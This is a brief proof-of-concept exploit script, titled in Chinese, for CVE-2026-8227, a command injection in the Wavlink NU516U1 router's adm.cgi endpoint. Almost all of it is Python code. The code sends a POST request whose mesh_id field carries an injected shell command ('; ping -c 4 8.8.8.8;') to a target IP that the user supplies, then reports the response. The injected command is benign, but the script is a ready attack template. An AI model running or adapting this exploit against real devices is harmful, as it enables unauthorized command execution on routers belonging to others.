CVE-2026-8227 Wavlink NU516U1 OS命令注入漏洞

import requests # PoC for CVE-2026-8227 # Vulnerability: OS Command Injection in Wavlink NU516U1 # Endpoint: /cgi-bin/adm.cgi def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/adm.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Payload attempting to inject a command (e.g., ping) # The vulnerable parameter is likely related to mesh configuration payload = { "action": "wzdapMesh", "mesh_id": "; ping -c 4 8.8.8.8;" # Injection vector } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check for command execution effects.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP print(f"[*] Attempting to exploit {target}...") exploit(target)